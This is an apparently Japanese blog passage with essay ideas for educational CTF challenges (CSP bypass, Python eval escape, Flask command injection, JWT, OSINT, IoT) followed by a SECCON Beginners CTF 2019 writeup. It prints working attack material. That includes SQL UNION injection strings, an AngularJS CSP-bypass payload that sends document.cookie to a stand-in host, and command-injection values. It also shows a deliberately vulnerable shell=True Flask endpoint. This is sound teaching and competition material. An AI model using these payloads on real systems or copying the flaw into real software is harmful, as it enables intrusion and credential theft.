 CTFは,上記のような状況に陥っている学習者に対して,非常に有益なコンテンツだと感じています.なぜなら,CTFは情報セキュリティの学習を通してインプットした知識や技術を思う存分にアウトプットできる場だからです.上記の例で言えば,それぞれの問題点はCTFにおけるCrypto, Network, Web, Forensic, Rev/Pwnの分野の問題に取り組むことがアウトプットにつながり,情報セキュリティに対するより深い理解が得られるのではないと考えられます.実際に私もCTFに取り組むまでは「RSAという公開鍵暗号アルゴリズムがあるらしい(実装や解読方法についてはよく理解していない)」,「HTMLにJavaScriptを埋め込むXSSという攻撃があるらしい(対策方法やその対策をバイパスする手法について,なぜXSSが問題となるのかについてはよく理解していない)」といった程度の理解しかありませんでしたが,CTFへの取り組みを通して,現在では脆弱な実装がなされたRSA暗号の解読や,入力値検査や出力時のエスケープが行われる環境でのXSS攻撃ベクタの挿入,およびその対策としてのXSSフィルタやCSP等といった,それまでは名前や概要程度の理解しかなかったトピックについて,自分で手を動かしながら問題を解いていくことで楽しく知識や技術を身につけることができたことを覚えています.そのような経緯から,CTFの問題を作る際には,「その問題を通して回答者が何を学ぶことができるのか」,「問題を解く際に回答者にどのような発見があって,問題を解く前と解いた後でどのような違いを生むことができるのか」といった学習性の観点を踏まえたデザインを行なって行きたいと考えています.    もう一方は,現実性の観点についてです.この意見には反対意見があることは承知していますが,私は現実離れした「CTFのためのCTF」のような問題は望ましくないと考えています.例 ,そもそも何をやらなければならないのかという部分に多くのリソースを割かなければならない,いわゆるGuessingの作業が大半を占めるような問題や,やらなければならないことは自明である一方で,それを試したり実装したりするのに非常に時間がかかる問題,問題への挑戦を通して回答者の知識や技術力,心境にがどのような変化を及ぼすことができるのかという観点に対するインパクトが小さい問題はあまり好ましくないと考えています.学問に対する議論と同様に,すぐ役に立つ現実的なコンテンツばかりが望ましいと断言することはできませんが,私は現実的でかつ回答者がその問題への取り組みを通して情報セキュリティやコンピュータサイエンスに関するプラクティカルな知識が身につくような問題に取り組みたいと感じますし,作問をする上ではそのような点に注意したいと考えています.

 残りの新規性とパズル性についても以下で述べます.  新規性は,具体的に言うと「その問題への取り組みを通して新しいトピックへのキャッチアップができること」といった性質です.情報セキュリティの分野ではその根幹となる考え方や技術はあまり変化しないものの,新たなエクスプロイトの手法やそれに対する対策手法といった技術は,単にニュースや公開情報をインプットしているだけでは追いつけなかったり身につけることができなかったりするスピードで次々と開発,公表が行われています.私は,CTFがそういったトピックを取り入れることで,回答者にこのような攻撃手法や対策手法があるのだと言うことを手を動かしつつ知ってもらうことができる非常に稀有な機会になり得る考えています.私がCTFの作問をする際は,そういった新規性の高いトピックを取り入れることで,回答者に新たな発見があるような問題を作りたいと考えています.

 最後のパズル性は「単に既存の技術を利用するだけでは解けないもの,回答者の閃きや知識をもとにした一捻りを必要にするもの」と個人的に定義しています.これは現実性と重複する部分もありますが,現実世界における脆弱性は,単に何らかの技術を用いて明らかになったのではなく,既存の技術のほんのちょっとした欠陥を突いたり,異なる技術同士を組み合わせたり,他分野の技術を情報セキュリティの分野に応用したりすることで露わになったものが多くあります.そのため,例えば既存のエクスプロイトツール(例: Metasploit, JtR, pkcrack, etc.)を使えば即座に解けるような問題はあまり好ましくないと考えています.例えば,InterKosenCTFで出題されたWeb問題であるGimme Chocolateはここで述べているパズル性が盛り込まれていた点で非常に面白い問題だったと感じています.この問題では,brainfuckライクな言語を記述したコードをPOSTするとサーバ上のファイルに保存され,そのコードを $code = file_get_contents($_GET['file']); で読み込ませた上で特定の条件を満たすような処理を記述できるとフラグが取得できるのですが,この file_get_contents($_GET['file'])RFI脆弱性があります.単にファイル名を指定してそれを読み込ませるといった問題だった場合,RFI脆弱性にはすぐに気づけたかもしれませんが,brainfuckライクなコードを記述することがアンカーとなりRFIを見つけることの難易度を高めているといった点で,パズル的な要素を含んだ非常に面白い問題だと感じました(加えて,上記で述べた学習性や現実性と言った観点をカバーしているのも私がこの問題が好きな理由の1つです).このように,CTFの作問をする上では,回答者のちょっとした工夫を必要とする問題,そのような仕掛けのために単にツールを使って解いただけでは得られない達成感が得られるような問題を作ることを考慮していきたいと考えています.

 これらを集約すると,私が作りたいCTFの問題は「対象とするテーマの新規性や現実的に応用可能であるかと言った観点を踏まえた上で,単にツール等を使って解くことはできず,回答者による知識や技術力,ちょっとした一工夫を必要とするもので,その取り組みを通して回答者にとって達成感やテーマとなった技術に関する知見の享受が可能である」といった性質を備えていることが理想だと言えます.

 上記のような観点をもとに,いくつかの問題のアイディアとその実装・問題提示例を以下にて示します.また,いくつかの問題については,大学内で私がCTFコンテストを開催した際に得られたフィードバックについても同様に記述します.

(1) CSP(Content Security Policy)とそれに関連する脆弱性に関する問題  CSP(Content Security Policy)は,XSS攻撃を始めとするコードインジェクション系の攻撃の対策として有効なブラウザ上で動作するホワイトリスト型のセキュリティレイヤーです.XSSへの対策として従来より有効だとされている方策は「入力値の検証を行うこと」および「出力の際に適切にエスケープすること」ですが,開発時やテスト時における抜け漏れが発生しやすく,CTFでもこれらの「入力値検証の不備」や「出力値のエスケープ漏れ」を突くWeb問題が多数出題されています.CSPを用いることで,これらの対策が適切になされていない時でもXSSの発生を抑止することができますが,当然ながらCSPの設定が不適切だと,CSPを用いていたとしてもXSSに対して脆弱になってしまいます.  私は,CSPについて調査を行っていく中で,従来の対策と組み合わせることでXSSの抑止に非常に効果的であると感じた一方で,非常に興味深いCSPやWebの仕組みそのものの隙をついたCSPのバイパス手法を多く発見したり,それを手元で試したりして実際にCSPがバイパスできることを検証しました.そのような経験から,現実世界とCTFの双方で「今後XSSをどう発生させるのか」というテーマへの回答が,「入力値検査やエスケープの不備を探すこと」から「CSPがバイパス可能な手法を探すこと」にシフトしていくのではないかと考えています.  そこで,私はCSPそのものの概念を問う問題と,一見適切に構成されているように見えるCSPのバイパス手法を問う問題を作ってみたいと考えています.そのような問題への取り組みを通して,CSPの基本的な概念とその構成法,および脆弱なCSP構成法とそのバイパス手法についてを回答者に身につけてほしいと思います.  具体的な問題のアイディアは以下の通りです.

  • そもそもCSPを利用している意味がないような問題 script-srcディレクティブに'unsafe-inline'キーワードが指定されている場合,ページに含まれる任意のインラインスクリプトの実行が許可されてしまいます.そこで,入力値をそのまま出力するようなページを用意した上で,script-srcに'unsafe-inline'を指定します.このような場合,CSPが設定されていても反射型XSSが可能であることを出題します.

  • URLベースのホワイトリスト型CSPをバイパスするような問題  script-srcディレクティブに何らかのURL(例: http://example.com)のみが設定されている場合,そのURLがホストしているJavaScriptの実行が許可されます.つまり,http://example.com/path/to/foo.jsは実行されますが,http://unknown.net/path/to/bar.jsは実行されません.このような場合,任意のJavaScriptの注入は不可能なように見えますが,許可しているURLにAngularJSやprototype.jsがホストされていたり,JSONPのエンドポイントが存在すると,攻撃者がCSPをバイパスして攻撃用コードの注入が可能になることが知られています.このような攻撃が可能なURLはCSP Evaluator(参照: https://csp-evaluator.withgoogle.com/)で調べることができます.AngularJSやprototype.jsがホストされているCDN等のURLや公開されているJSONPエンドポイントを持つURLをscript-srcディレクティブに加えておき,それらを用いることでCSPをバイパスしてXSSを実現させるような問題を作ってみたいです.(追記: 5/25,26に開催されたSECCON Beginners CTFで本アイディアと同一の問題が出題されていました.攻撃手法の概要は http://szarny.hatenablog.com/entry/2019/05/26/SECCON_Beginners_CTF_2019_writeup_%23ctf4b#Web--Secure-Meyasubako に記述しました.)

  • baseタグインジェクションを用いる問題  script-srcにnonceが設定されている場合,そのnonceと同一の値がscriptタグに設定されているJavaScriptしか実行することができません.そのため,nonceがnonce-1234である時,<script nonce="nonce-1234" src="http://example.com/path/to/foo.js"><script nonce="nonce-1234" src="/path/to/bar.js">の実行は許可されますが,<script src="http://example.com/path/to/foo.js"><script nonce="nonce-abcd" src="http://example.com/path/to/foo.js">の実行は許可されません.このような場合,問題サーバにホストされているJavaScriptを改ざんするか,nonceを前もって予測するしかないように思えますが,問題のHTMLの中に相対パスJavaScriptを読み込んでいるようなscriptタグ(例: <script src="/path/to/bar.js">)がある場合,baseタグをインジェクトして相対パスのベースとなるURLを変更することで,任意のJavaScriptをページに埋め込むことができます.つまり,<script nonce="nonce-1234" src="/path/to/bar.js">のようなscriptタグがページに存在している場合,<base href="自サーバのURL">のようなbaseタグをインジェクトした上で,自サーバの/path/to/bar.jsに自分が実行させたいJavaScriptをホストさせておけば,XSSが可能になります.そこで,上記のような条件のコンテンツを準備しておき,回答者がbaseタグをインジェクトすることで相対パスのscriptが参照するJavaScriptを改ざんし得るかを問う問題を作ってみたいです.

(2) Pythonの言語仕様に関する問題  Pythonはプログラミング初学者が最初に触れることが多くなってきている言語で,簡単なツール等の実装に使われることが多いから,CTFにおける問題やソルバの作成においては非常にメジャーなものとなっています.Pythonの特徴はその書きやすさや簡潔さですが,一方でその詳細な言語仕様については知られていないことが多いです.(実際に,私が以下で説明する問題を知人に出したところ,初めて知ったと言われました).  本問題では,以下の言語仕様についてをテーマとして取り上げることで,問題への取り組みを通してそれらについて深く触れることを目的としています.

  • tkinterを用いたGUIプログラミングについて
  • Pythonにおけるeval関数とexec関数の違い,およびその悪用方法について
  • グローバル変数の参照について

 また,この問題ではコードの流れを意図的に変えないとフラグが表示されないという工夫を用いています.  実装コードはGist(参照: https://gist.github.com/Szarny/81509b1d1fb78474e9faa6ce4dc1d3bd)で公開しました.この問題の肝となる部分はcalc関数の実装です.

try:
    if entry_buffer.get():
        for prohibited_word in ["print", "logging", "os", "stdout", "FLAG"]:
            if prohibited_word in entry_buffer.get():
                result_buffer.set("Prohibited word is detected.")
                return
            
        result = str(eval(entry_buffer.get()))
        result_buffer.set(result)
except:
    return

 フラグを得るためには,変数FLAGの内容を出力させる必要がありますが,コマンドライン 出力のためのライブラリや関数の使用は禁じている他,FLAGというワード自体が入力値に含まれることも禁止しています.そのため,回答者はresult_bufferに変数FLAGを評価して出力するような文字列をsetしなければなりません.  この問題を解くためには,まずeval関数とexec関数の特徴について理解する必要があります.eval関数はPython以外の言語でも組込関数として定義されていることが多い関数で,文字列をコードとして評価するための関数であり,不正なコードの実行による任意コードの実行といった脆弱性が発現しやすい機能になっています.加えて,Pythonではeval関数とexec関数を組み合わせることで,以下のように複数の処理を連続して実行させることができます.

eval("exec('a=1; b=2; print(a, b)')")

 次に,フラグを得るためには変数FLAGにアクセスしなければなりません.FLAGという文字列が含まれている時点でリクエストを破棄するといった機能があるため一見無理に見えますが,Pythonでは,以下のようなコードを入力することで実行コンテキストにおいて定義されている変数やメタデータを辞書形式で取得することができます.

import sys
sys.modules[__name__].__dict__

そのため,以下のような文字列を入力することでフラグが得られそうですが,まだ解けません.

exec("import sys; result_buffer.set(sys.modules[__name__].__dict__)")

なぜなら,eval('exec("import sys; sys.modules[__name__].__dict__")')の返り値はNoneであるため,result_buffer.set(result)の行においてNonesetされてしまうためです.ここからが本問題のパズル要素であり,問題を解くには,result_buffer.set(result)の行を実行させないようにする必要があります.そこで,raise Exceptionを追加し,意図的に例外を発生させ,実行をexcept節に切り替えさせることで,本問題は解くことができます.

exec("import sys; result_buffer.set(sys.modules[__name__].__dict__); raise Exception")

(3) OSコマンドインジェクションに関する問題  これは,私がとあるデータベースシステムを管理するためのWebベースのシステムを実装していた際に組み込んでしまった脆弱性が発想の元となっています.そのデータベースシステムの特定のメトリクスを取得するためにコマンドライン上で引数にメトリクス名等を与えた上でバイナリを実行する必要があったのですが,この引数をWebサーバ側で受け取り,サブプロセスを生成しバイナリを実行する際にOSコマンドインジェクション脆弱性およびディレクトリトラバーサル脆弱性を埋め込んでしまっていました.そのため,もし気づいていなければ,シェルを使って任意のディレクトリの移動やファイルのCRUD操作をHTTP経由での実行を許可させてしまうところでした.  本問題では,このような経緯をもとに,どのような実装がこれらの脆弱性を発生させてしまうのか,具体的にどのように攻撃するのかといったことについて理解が深められるような構成を行なっています.問題はDocker Hubにて公開しています.(参照: https://cloud.docker.com/repository/docker/sz4rny/ctf-web-todo)  問題の核となる部分は以下の実装です.(これは私が実際に行なってしまったことがある脆弱な実装とほぼ同一です)

app = Flask(__name__)
CORS(app)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/get/<filename>")
def get(filename):
    result = {}

    try:
        command = "cat /ctfweb/files/{}".format(filename)

        result["content"] = subprocess.check_output([command], shell=True).decode()
        result["status"] = "success"

        return jsonify(result)

 上記のように,subprocess.check_outputshellTrueにした上でユーザからの入力であるcommandを実行しているため,例えばhoge.txt; lsといった値が入力されるとディレクトリの一覧がAPI経由で取得できてしまいます.また,値を入力する場所はURLであり,command/を入力することができないため一見親となるディレクトリに移動できないと思われますが,hoge.txt; cd ..; cd ..; ...; cd ..;のように順次コマンドを実行することでトラバーサルが可能になっています.  Jeopardy形式のCTFでは難しいかもしれませんが,いわゆるAttack-Defense形式のCTF等であれば,単に脆弱性を突いて終わりではなく,どうすれば既存の機能を失わせることなしに脆弱性を除去することができるのかについて問うような問題も作ってみたいと考えています.

(4) OSINTに関する問題  近年,技術的な脆弱性を突いた攻撃よりもソーシャルエンジニアリング的手法を用いて人間側から攻撃を行うといった事例が増えています.このような攻撃における偵察段階にて活用されるインテリジェンスがOSINTです.具体的には,SNSの投稿やプロフィールをもとにしたターゲットのプロファイリング,位置情報の特定等が挙げられます.そこで,このようなインテリジェンスについての偵察活動を模倣した以下のような問題を考えました.

  • 私が指定の時刻にどこにいたかを特定する問題  私は自分が訪れた場所を記録するためにSwarm(参照: https://ja.swarmapp.com/)というアプリのチェックイン機能を用いています.この機能は,何月何日の何時何分に特定のユーザがどこに記録する機能であり,当然悪意のある第三者にとってはターゲットをプロファイリングする上で特に有益な情報になり得ます.また,私の周りには訪れた場所だけではなく,自宅の場所等もスポットとして登録しているユーザが見受けられます.このような現状に鑑みて,私のSNSアカウントを公開した上で,とある時刻に私がどこに滞在していたのかを特定させるような問題を作りました.この問題を自分の知人に解いてもらったところ,「このような位置情報を記録するアプリがあること自体を初めて知った」,「観光のために訪れた場所だけではなく,自宅やよく行く店等が把握される恐れがあり,ストーキングといったより重大な問題に発展するのではないか」といった意見が得られました.SNSの使い方が問題となっている現代において,このような問題を出題することで改めてSNSや広くインターネットに関する危険性を周知することは大きな意義があるのではないかと考えています.

  • 検索能力を問う問題  GoogleTwitter検索をはじめとするサーチエンジンは,特定のキーワードを検索ワード内に含ませることでメタデータや詳細な条件を含んだ検索が可能になります.この機能を用いることで,「何月何日以前に登録されたにAというキーワードを含んだPDFファイル」といったようなより詳細な検索が可能になります(Googleで「filetype:pdf 社外秘」といったキーワードで検索すると本来漏れてはいけないファイルが大量に表示されるといった話題は特に有名です).このような,普段はあまり利用しないにもかかわらず,重大な情報漏えいに繋がる可能性がある「検索」の能力を必要とするような問題を作ってみたいと考えています.例えば,特定の日時に特定のサイトにアップロードされたファイルを特定するような問題や,特定の人物が遠い過去に発言していた内容を参照する必要がある問題といったものを想定しています.

(5) JWTの脆弱な利用方法に関する問題  JWT(JSON Web Token)は,Webをはじめとする状況においてJSON形式でアクセストークンを発行したりやりとりしたりするための仕様のことです.JWTを利用することで,設定が簡単かつサービスが設定したいペイロードトークンに対して設定できるといった,利用性や拡張性に優れた仕様になっています.一方で,トークンに署名に用いるアルゴリズムを任意に指定可能(署名をつけないことも可能)であるため,脆弱なアルゴリズムを用いてしまうとトークン自体の信頼性が失われるといった問題点を孕んでいます.そのため,仕様に完全に準拠しようとすると逆に安全性が揺らぐ一方で,仕様から外れると互換性等の面で問題が発生するといったディレンマを抱えています.私は,この点について出題することで,JWTの動作原理や仕様,そこにまつわる脆弱性について触れてもらいたいと考えています.例えば,署名無しのJWTを用いてセッション管理を行なっているようなWebサービスを構築した上で,そこに管理者としてなりすましのログインをさせることでFlagを取得させるといった問題を想定しています.また,この問題に関しては,Attack-Defense形式の方が出題しやすいのではないかと考えています.つまり,脆弱な構成のもとでJWTを利用しているWebシステムを提示し,そこにどう対処していくのか(安全な署名を用いるような実装にするのか,もしくはセッション管理機構自体を別の物に取り替えてしまうのか等)について問いたいと考えています(定期的にクローラが競技者のサイトを巡回し,セッション管理機構が適切に実装されていることとJWTを介したセッションの乗っ取り等ができないことを確認し,双方が満たされていればポイントやFlagを提供するといった形にすれば面白いのではないかと考えています).

(6) IoTセキュリティに関する問題  数年ほど前から,ロボット掃除機や小型Webカメラといった中に小型のコンピュータを備えたIoTデバイスの流通が進んでいます.安価かつ便利な製品が多数流通している一方で,セキュリティ的に問題がある製品も少なくはありません.私が過去に実験的に解体したWebカメラでは,基盤を介したシェルへのログインとrootへの権限昇格がデフォルトパスワードで可能かつ,内部に保存されているデータの抽出までもが可能でした.また,基盤に直接ケーブル等を接続するまでもなく,外部から無線経由で特定のポートへ制御信号となるデータを送信するとその通りに動作するといった,非常に脆弱な製品を多数見てきました.例えば後者の問題は,制御信号を送るコントローラ的なデバイスを制限するためにMACアドレスでフィルタリングするとか,事前に認証のための鍵を共有しておくといったような解決策が思いつきますが,開発と流通のスピードやセキュリティにかけられるコストを考慮するとなかなか進められていないのが現状なのではないかと考えています.私は,このような非常に身近で,かつ一般的なソフトウェア等と比較してユーザに甚大な被害を及ぼす恐れがあるIoT製品についての問題を作ってみたいと考えています.例えば,オンラインでのCTFでは難しいかもしれませんが,以下のような問題が作れればと考えています.

  • 特定のIoT製品が利用しているプロトコルを解析した上でパケットを偽造して任意にその製品を操作するような問題(例: 画面の輝度を上げるような制御信号を送るとFlagが画面に表示される)
  • IoT製品の基盤を介してシェルにログインし,ドライブやROMの内容を抽出することで秘匿情報を窃取するような問題(例: 対象となる基盤と自身のデバイスをワイヤで接続し,binwalk等でドライブやROMの内容を抽出し解析するとFlagが含まれたファイルが見つかる)
  • Webカメラの制御権を乗っ取り,遠隔操作したり録画データを収集するような問題(例: Flagを撮影しているWebカメラの制御権を乗っ取ることで撮影されているFlagを見ることができる)

 上記のような問題を通して,IoTセキュリティが脆弱であった際に生じる問題とその恐ろしさについて改めて実感することができるのではないかと考えています.また,IoT分野をはじめとするハードウェア関係のCTF問題はなかなか見かけませんが,機会(オフラインイベント等)と機材さえ用意できれば,既存のジャンルと比べてより実際的でインタラクティブな問題を作ることができるのではないかと考えています.現在はこのような考えをもとに,実際に脆弱なWebカメラと手持ちのRaspberry Piをワイヤで接続し,ROMを抽出したり不正な制御が行えないか確かめたりしています(現時点では前者については成功しています).また,エクスプロイトできそうな他のIoTデバイスを探したり,IoTデバイスに用いられるプロトコルの調査を行ったりしています.

SECCON Beginners CTF 2019 writeup #ctf4b

はじめに

2019/05/25 15:00 JST - 2019/05/26 15:00 JSTに開催されたSECCON Beginners CTF 2019のwriteupです.
自分が解いた問題について書きます.

注意事項 / Notes

本記事はあくまでサイバーセキュリティに関する情報共有の一環として執筆したものであり,違法な行為を助長するものではありません.
本記事に掲載されている攻撃手法を公開されているシステム等に対して実行するといった行為は決して行わないでください

The purpose of this article is to share information about cybersecurity with the community in order to promote better understanding of modern threats and techniques.
The author does NOT condone illegal activity of any nature; please do not carry out any attacks described herein against any system(s) you do not have explicit permission to attack.

Reversing / Seccompare

コマンドライン引数とFlagをstrcmpで比較しているようです.
そのため,ltraceにてライブラリ呼び出しの際の引数を確認すればFlagが判明します.

ctf4b{5tr1ngs_1s_n0t_en0ugh}

Reversing / Leakage

gdbmain関数を確認するとis_correct関数にて引数のチェックをしていることがわかります.

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x0000000000400660 <+0>:     push   rbp
   0x0000000000400661 <+1>:     mov    rbp,rsp
   0x0000000000400664 <+4>:     sub    rsp,0x10
   0x0000000000400668 <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x000000000040066b <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x000000000040066f <+15>:    cmp    DWORD PTR [rbp-0x4],0x1
   0x0000000000400673 <+19>:    jg     0x400697 <main+55>
   0x0000000000400675 <+21>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400679 <+25>:    mov    rax,QWORD PTR [rax]
   0x000000000040067c <+28>:    mov    rsi,rax
   0x000000000040067f <+31>:    lea    rdi,[rip+0x5fd]        # 0x400c83
   0x0000000000400686 <+38>:    mov    eax,0x0
   0x000000000040068b <+43>:    call   0x4004f0 <printf@plt>
   0x0000000000400690 <+48>:    mov    eax,0x1
   0x0000000000400695 <+53>:    jmp    0x4006cd <main+109>
   0x0000000000400697 <+55>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040069b <+59>:    add    rax,0x8
   0x000000000040069f <+63>:    mov    rax,QWORD PTR [rax]
   0x00000000004006a2 <+66>:    mov    rdi,rax
   0x00000000004006a5 <+69>:    call   0x4005e7 <is_correct>
   0x00000000004006aa <+74>:    test   eax,eax
   0x00000000004006ac <+76>:    je     0x4006bc <main+92>
   0x00000000004006ae <+78>:    lea    rdi,[rip+0x5de]        # 0x400c93
   0x00000000004006b5 <+85>:    call   0x4004c0 <puts@plt>
   0x00000000004006ba <+90>:    jmp    0x4006c8 <main+104>
   0x00000000004006bc <+92>:    lea    rdi,[rip+0x5d8]        # 0x400c9b
   0x00000000004006c3 <+99>:    call   0x4004c0 <puts@plt>
   0x00000000004006c8 <+104>:   mov    eax,0x0
   0x00000000004006cd <+109>:   leave  
   0x00000000004006ce <+110>:   ret    
End of assembler dump.

このis_correct関数を見ると,まずstrlen関数で文字列の長さが0x22と等しいか調べた後,convertという関数を呼び出しつつ引数として与えた文字がFlagと一致しているか1文字ずつ調べています.
そのため,ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}(34文字)のような適当な値を入力してみて,is_correct関数が入力値とFlagを1文字ずつ照合している流れを追っていけばFlagが得られます.

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Web / Ramen

店員を名前で検索するところに脆弱性がありそうです.
試しに,' UNION SELECT 1,2; #という値を入力すると,末尾に1 2というデータが表示されたことから,このデータベースがSQLiが可能だとわかります.
あとは,どのようなテーブルがあるか調べたあと,flagというテーブルの中身を確認すればFlagが取得できます.

' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; # -> flag flag
' UNION SELECT 1, flag FROM flag; #

ctf4b{a_simple_sql_injection_with_union_select}

Web / Katsudon

/flagのページの文字列の前半をBase64デコードするとフラグが得られました.

 ❯ echo BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU | base64 -D  
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET%    

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Web / Secure Meyasubako

意見を書くための掲示板のようなWebアプリケーションと,管理者を模したクローラのプログラムが提示されます.
クローラのプログラムからは,CookieにFlagが設定されていることがわかります.
このことから,目的は掲示板に対してXSS的な攻撃を仕掛け,クローラにそのリンクを踏ませることでCookieの内容を窃取することだと考えられます.

そこで,新しい意見の作成の部分で入力値に<script>...</script>を入力してみましたがうまく動きません.
よく確認してみると,HTTPレスポンスヘッダーに以下のContent Security Policyが設定されていました.

Content-Security-Policy: script-src 
    'self' 
    www.google.com 
    www.gstatic.com 
    stackpath.bootstrapcdn.com 
    code.jquery.com 
    cdnjs.cloudflare.com

ここでインラインスクリプトの実行を許可するunsafe-inlineが指定されていないため, <script>...</script>のような値を入力してもそのJavaScriptの実行は許可されません. そのため,例えエスケープが適切になされていなくても,従来のXSS攻撃にように単純にJavaScriptコードを注入するだけでは問題を解くことができません.  

さて,このようなWhitelist型のCSPは脆弱であることが知られています.
具体的には,Whitelistに登録されているオリジンが古いバージョンのAngularJSをホストしている場合,それを読み込んだ上でAngularJSのテンプレートをコンテンツ内に埋め込むことでCSPによるWhitelistの制限を回避しながらJavaScriptコードを注入することができます.

幸いにも,cdnjs.cloudflare.comが古いバージョンのAngularJSをホストしていたため,これを読み込むように設定します.また,テンプレート内でwindowオブジェクトを利用可能にするためにprototype.jsも読み込むように設定します.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>

テンプレートの埋め込みは以下のように行います.

<div ng-app ng-csp>{{ // JavaScript code }}</div>

テンプレート内部では,以下のコードによってwindowオブジェクトにアクセス可能になります.

$on.curry.call(); // => window

テンプレートに埋め込むJavaScriptコードは,前述の通りクローラのCookieを窃取する必要があるため,クエリ文字列にdocument.cookieの値を設定したGETリクエストを自身が管理しているAPIに対して投げさせるのが良さそうです.
そこで,document.cookieの値をクエリ文字列に設定したURLをfetchするような以下のコードを入力値に設定しました.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>{{ $on.curry.call().fetch("https://your_api.com?s="+$on.curry.call().document.cookie )}}</div>

この下書きを管理者に届けたところ,クローラから自身が管理しているAPIに対してdocument.cookieの値を含んだ以下のようなGETリクエストが飛んでくるので,そこでFlagを取得することができます.

[Sun May 26 00:09:29 2019] ::1:49689 [404]: /?s=flag=ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}

ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}

Crypto / So Tired

渡されたデータ(encrypted.txt)を確認すると,Base64文字列であると何と無くわかります.
そこでBase64デコードをしたものを確認しましたが,バイナリ形式で読めるものではありません.
ここで,出力値をfileコマンドで調べると,zlibで圧縮されたファイルであることがわかります.   それを解凍すると,またBase64文字列が出現します.

手作業でやるわけにはいかないので,以下のスクリプトを実装し実行したところFlagが取得できました.

import zlib
import base64

data = open("encrypted.txt").read()

while True:
    data = base64.b64decode(data)
    print(data)
    data = zlib.decompress(data)
    print(data)

Crypto / Party

encrypt.pyencryptedから以下のことがわかります.

  • encrypted[(party[0], val[0]), (party[1], val[1]), (party[2], val[2])]という形式である
  • partyの値は上記より判明している
  • valの値はpartyの各要素とcoeffを関数fに渡した時の戻り値である
  • 関数f(x, coeff)では,coeff[0] + x * coeff[1] + x^2 * coeff[2]を戻り値としている

まとめると,encrypt.pyは以下の連立方程式として表すことができます.

val[0] = coeff[0] + party[0] * coeff[1] + pow(party[0], 2) * coeff[2]
val[1] = coeff[0] + party[1] * coeff[1] + pow(party[1], 2) * coeff[2]
val[2] = coeff[0] + party[2] * coeff[1] + pow(party[2], 2) * coeff[2]

このうち,partyvalはわかっているので,残りのcoeffに関しては連立方程式を解くことで得ることができます.
以下のようなスクリプトを実装しました.

mport sympy
from Crypto.Util.number import long_to_bytes

A = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

p = []
v = []

for a in A:
    p.append(a[0])
    v.append(a[1])

x = sympy.Symbol('x')
y = sympy.Symbol('y')
z = sympy.Symbol('z')

expr1 = x + p[0] * y + (p[0]**2) * z - v[0]
expr2 = x + p[1] * y + (p[1]**2) * z - v[1]
expr3 = x + p[2] * y + (p[2]**2) * z - v[2]

ans = sympy.solve([
    expr1, expr2, expr3
])

# x = FLAG = 175721217420600153444809007773872697631803507409137493048703574941320093728
FLAG = 175721217420600153444809007773872697631803507409137493048703574941320093728

print(long_to_bytes(FLAG))

ctf4b{just_d0ing_sh4mir}

Misc / Welcome

IRCサーバにFlagがあります.
ctf4b{welcome_to_seccon_beginners_ctf}

Misc / Containers

ContainersなのでDocker問かと思いきや違いました.
問題のファイルをbinwalkすると大量のPNGデータが含まれていることがわかるので,foremostで取り出しました.
その画像群を順に読むとFlagが得られました.

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Misc / Dump

またもやbinwalkするとパケットキャプチャファイルであることがわかります.
そこで,ファイルをWiresharkで開き確認すると,2件のHTTP通信が行われていることがわかります.

それぞれのHTTPリクエストをよくみると,OSコマンドインジェクションによってFlagを読み出そうとしているようです. - webshell.php%3fcmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag - webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag

これらのパーセントエンコーディングをデコードすると,以下のようなコマンドだとわかります. - ls -l /home/ctf4b/flag - hexdump -e '16/1 "%02.3o " "¥n"' /home/ctf4b/flag

このうち重要なのはFlagを8進数形式でhexdumpしている後者です.
HTTPレスポンスの内容を8進数として読み取り,バイナリ形式に変換するスクリプトを実装し結果を確認したところ,tar形式の圧縮ファイルが出力されました.

B = b""

with open("httpres.txt") as f:
    octals = f.read().split()

    for octal in octals:
        decimal = int(octal, 8)

        B += decimal.to_bytes(1, "little")

open("result", "wb").write(B)
$ python solver.py

このtarファイルを解凍するとFlagが記載された画像ファイルが入手できます.

